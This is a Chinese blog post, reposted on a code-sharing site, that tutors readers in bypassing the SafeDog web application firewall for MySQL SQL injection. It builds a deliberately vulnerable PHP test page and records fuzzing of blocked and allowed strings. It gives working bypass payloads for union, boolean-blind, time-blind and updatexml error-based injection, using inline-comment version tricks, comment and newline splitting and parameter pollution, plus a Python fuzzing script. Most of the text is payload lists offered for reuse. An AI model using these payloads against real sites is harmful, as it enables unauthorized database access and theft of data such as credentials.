SQL注入及bypass思路(3)安全狗safedog


聯合注入過狗

其實我們過這些waf就是進行正則的繞過,因為這種通用型的waf,需要考慮到用戶體驗,它不能出現什么東西就直接進行攔截。如果繞過我們需要具備對mysql各個函數,語法,特性的熟悉,然后通過不斷的fuzz來測試出我們想要的payload

每個狗的版本不同,它的正則也是不同的,所以有的payload在最新版可以用,在老版本就可能用不上,當你的知識量有一定積累后,繞過waf或許就很簡單

如何快速地提升自己的這些知識,多看文章,多看官方手冊

實驗環境

windows10 phpstudy2018 安全狗v4.023137

注意這里安全狗的版本跟原文中不一致

test.php代碼跟之前一樣

<?php
	if($_GET['id']){
		$id= $_GET['id'];
		$conn = mysql_connect('127.0.0.1','root','root');
		mysql_select_db('sqlvul',$conn);
		$sql = "select * from user where id=$id";
		$result = mysql_query($sql);
		while($row = mysql_fetch_array($result)){
			echo "id: ".$row['id']."</br>";
			echo "username: ".$row['username']."</br>";
			echo "password: ".$row['password']."</br>";
		}
		mysql_close($conn);
		echo "</br>"."sql :".$sql;
	}else{
		echo "id,get,懂?";
	}
	
?>

探索 and

我們首先來探索簡單的語句 and 1=1

http://127.0.0.1/test.php?id=1%20and%201=1

簡單變形

and 1 攔截
and '1' 攔截
and a 不攔截
and 'a' 攔截
and ! 攔截
and 1+1 攔截
and 1+a 攔截
and hex(1) 攔截
and ord("a") 不攔截

我們有兩個思路:

  • 用其他字符替換 and 或者 or
  • 帶入的不是字符串和數字型,帶入特殊字符或者特殊函數

針對第一種我們可以看看運算符號,隨便找到幾個

| ^ xor & / * && ||等等

mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
|     1 |
+-------+
1 row in set (0.03 sec)

mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

這里簡單使用與,或,異或組合結果,從此處出發我們通過運算符來改變ID的值,查看頁面是否變化,進而注入

mysql> select * from user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    4 | 3test     | 11       |
|    1 | 1test     | 11       |
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
4 rows in set (0.00 sec)

mysql> select * from user where id='1'|2-- +';
    -> ;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
+------+-----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1'|1-- +';
    -> ;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | 1test    | 11       |
+------+----------+----------+
1 row in set (0.00 sec)

mysql自動轉換和或運算組合得到了上述結果

不過經過測試上述方法已經失效了,同時&& true也失效了

直接硬剛and

修改了一下payload,發現這樣是可以的

?id=1 and ord("a")-96
?id=1 and ord("a")-97

類似於and 1=1的效果,用來判斷是否存在注入

原文中的

and ~1>1
and hex(1)>-1
and hex(1)>~1

也已經失效

探索 union select

內聯注釋繞過 這種方法經久不衰

union    不攔截
select   不攔截
union select 攔截
union 各種字符 select 攔截
union%20%a0select 攔截
union/*select*/ 不攔截

經過簡單的測試,我們發現安全狗還是認識我們的注釋符號,所以我們需要利用注釋符號來繞過安全狗

我們主要使用的是 內聯注釋 /*!/*!*/

原文中的方式在該版本中都被攔截

http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+  
http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+  

這里給出一個不被攔截的payload

/*!union/*/*/*%00select*/%201,2,3--+

下一篇博客會給出使用FUZZ和垃圾數據填充方式注入繞過waf的方法

原文中給出的payload當時不攔截的原因是因為50000是它的版本號,你多一位少一位語句是不能正常執行的,所以它放行了,我們可以使用burp來遍歷這個值,得到我們想要的payload

這里bypass的核心在於版本號,然后你就感覺fuzz了千種姿勢,但是核心還是這個

注釋繞過

聯想注釋我們還知道有 -- #,那么它們可以利用嗎,當然是肯定的,其實很久以前就有大佬發過這個語句

union %23%0aselect

因為%23是單行注釋,而%0a是換行的url編碼

但是這樣已經被加入規則庫了,我們在此基礎上進行分析

union %23%0aselect 攔截
union %23select 攔截
union a%23 select 攔截
union all%23 select 攔截
union all%23%0a select 攔截
union %23%0aall select 攔截

原文中的payload都已經被攔截了

這里的思路是在基礎payload上左右加字符fuzz過waf

在原文的基礎上變形得到過waf payload,這里是內聯注釋加單行注釋組合

union%20%23%0aall%20/!*select*/

-- 注釋繞過

最初的姿勢是-- %0a,當然已經被加入全國聯保豪華午餐,我們繼續在原payload的基礎上進行變形

union all -- %0a select 攔截
union  -- ()%0a select 攔截
union  -- 1%0a select 攔截
union  -- hex()%0a select 攔截

原文中的payload一如既往被全部攔截了

我們繼續在此基礎上變形

union%20%20--%20/*#*/%0aord()%0a%20select

老生常談hpp 被人遺忘的手法

前面說過/**/里面的內容安全狗基本不管了,那么我們用hpp參數污染來進行繞過,造成這個手法的原因是 web server對參數的解析問題,在php/apache中,它總解析最后一個id

?id=-1' /*&id='union select 1,user(),3 -- +*/

注入

既然繞過了union select,那么注入就簡單了,首先來看個user(),因為該函數是被攔截的,所以我們需要簡單的繞過

user()   攔截
user/**/() 攔截
user/**/(/**/) 攔截
hex(user/**/(/**/)) 攔截

cl4y師傅博客里的payload也已經被攔截

/*!USER/*!/*/**/*/()/**/

不過在本地mysql命令行上測試該payload無效,或許是我操作的問題

mysql> select /*!USER/*!/*/**/*/()/**/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

在原來的基礎上進行變形,使用該payload

/*!USER*/(/*/**/)

mysql> select /*!USER*/(/*/**/);
+----------------+
| USER( )        |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

其實就是一個不斷fuzz的過程

接着就是爆庫名,當然這個payload也被攔截了,這里就不再手動進行分析了,放在下一篇博客中進行繞過

union -- hex()%0a select 1,schema_name,3 from information_schema.schemata limit 1,1

接下來的流傳都差不多了 關鍵點就是在於 from 后面這塊 后面的我以這個 information_schema.schemata 為例展示幾種思路可能有的不能過

`information_schema`.schemata 
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata

延時過狗

盲注過狗相對聯合注入來說,感覺上是更簡單,我們先來試試時間盲注,比布爾稍微靈活一些

if(1,1,1) 不攔截
a if(1,1,1) 不攔截
and if(1,1,1) 攔截
| if(1,1,1) 攔截
|| if(1,1,1) 攔截
&& if(1,1,1) 攔截
/*!and*/ if(1,1,1) 攔截
/*!11440and*/ if(1,1,1) 不攔截
andaif(1,1,1) 不攔截

通過上面的測試,我們其實可以很簡單的看出來,它是攔截的xx if 這個語句,其中xx為 and 和 or 這兩個詞有點敏感,但是繞過還是可以的

通過上一章的測試語句,發現版本為 11440 的內聯注釋直接放行,后面也可以直接通過該方法注入,但我們這一章嘗試不適用內聯注釋繞過

查閱烏雲知識庫發現一個小知識點 and!!!1=1,and后面可以接上奇數個特殊字符,包括但不限於! ~ & -,其他的我們還可以自己測試,根據此知識點構造payload

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

不過好像這payload也不太好使

and!~!&&&&&~!!if(1,1,1)同樣也會被攔截

布爾過狗

布爾注入過狗只能說是相當來說最簡單的吧,因為可以不適用條件語句,少了一個繞過點

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 攔截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 攔截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 攔截

現在也已經加入套餐

另外我們可以嘗試把 and 換成 &&

and substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 攔截
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 攔截

當然這些也被攔截了,嘔

fuzz一個可用payload

重新fuzz一個可用的bool payload

fuzz一個基礎payload

/*!and*//*/**/1=1

結合這個payload

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1

原來這個payload 的效果

組合重構

/*!and*//*/**/substr((select/*/**/hex(user/**/(/*!*/))),1,1)>1

依然被攔截,猜測是user()函數的原因,把之前過狗的user()函數拿來組合得到以下payload:

/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>1

/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>999

兩組payload頁面不同,達到了布爾注入的目的

探索報錯

報錯注入的繞過,感覺很少人提過,不少人繞過也有一定的誤區吧,這里提一提

updatexml 不攔截
updatexml(1,2,3 不攔截
updatexml(1,2) 不攔截
updatexml(1,2,) 不攔截
updatexml(,2,1) 不攔截
updatexml(1,2,!) 攔截
updatexml(1,2,%) 不攔截
updatexml(,2,1,hex()) 攔截
and updatexml(1,2,3 不攔截
updatexml(1,2,3) 攔截
and updatexml(1,2,3) 攔截

這里的updatexml(1,2,%)與原文中不一樣,沒有被攔截

不過從上面的測試我們也大概知道了,它會判斷updatexml的完整性,當里面按逗號分割出現3個字符時,就會攔截(雖然不知道為什么有%的沒有被攔截),當然有個別特殊的字符串它沒過濾

這樣我們在括號里面做手腳的可能性很渺茫,那么我們還有什么辦法呢,可以嘗試把updatexml()函數分開,或者給 updatexml 加個外套

/*updatexml*/(1,1,1) 不攔截
/*!updatexml*/(1,1,1) 攔截
/*!5000updatexml*/(1,1,1) 不攔截
/*!11440updatexml*/(1,1,1) 不攔截

看來updatexml()函數我們已經繞過了(確實如此),需要前面加個運算符號了

and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)  攔截
or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
 | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截
 xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 攔截

看來都失效了,組合一下之前的過狗and,很容易得到

/*!and*//*/**//*!11440updatexml*/(1,1,1)

那么有沒有什么可以包裹它的呢,其實我們查看mysql手冊找到這么一個符號,開單引號 ASCII 96

1' and updatexml(1,(select hex(user/**/(/**/))),1)-- +

當然也失效了,不過我們可以學習一下腳本fuzz的思路

import requests
import urllib

for i in range(0,177):
    url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
    req = requests.get(url)
    if "F6F7" in req.text:
        print len(req.text),i,urllib.quote(chr(i))

遍歷字符並一一請求頁面,如果存在回顯,則bypass成功

文末

腳本只是你的一個思路衍生

安全狗注入bypass的分析到這里就結束了,后面有空還會接着分析雲鎖,雲盾,D盾,其實如果每個步驟都測試了的,相信很快就能寫出自己的sql bypass safedog tamper

參考鏈接


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM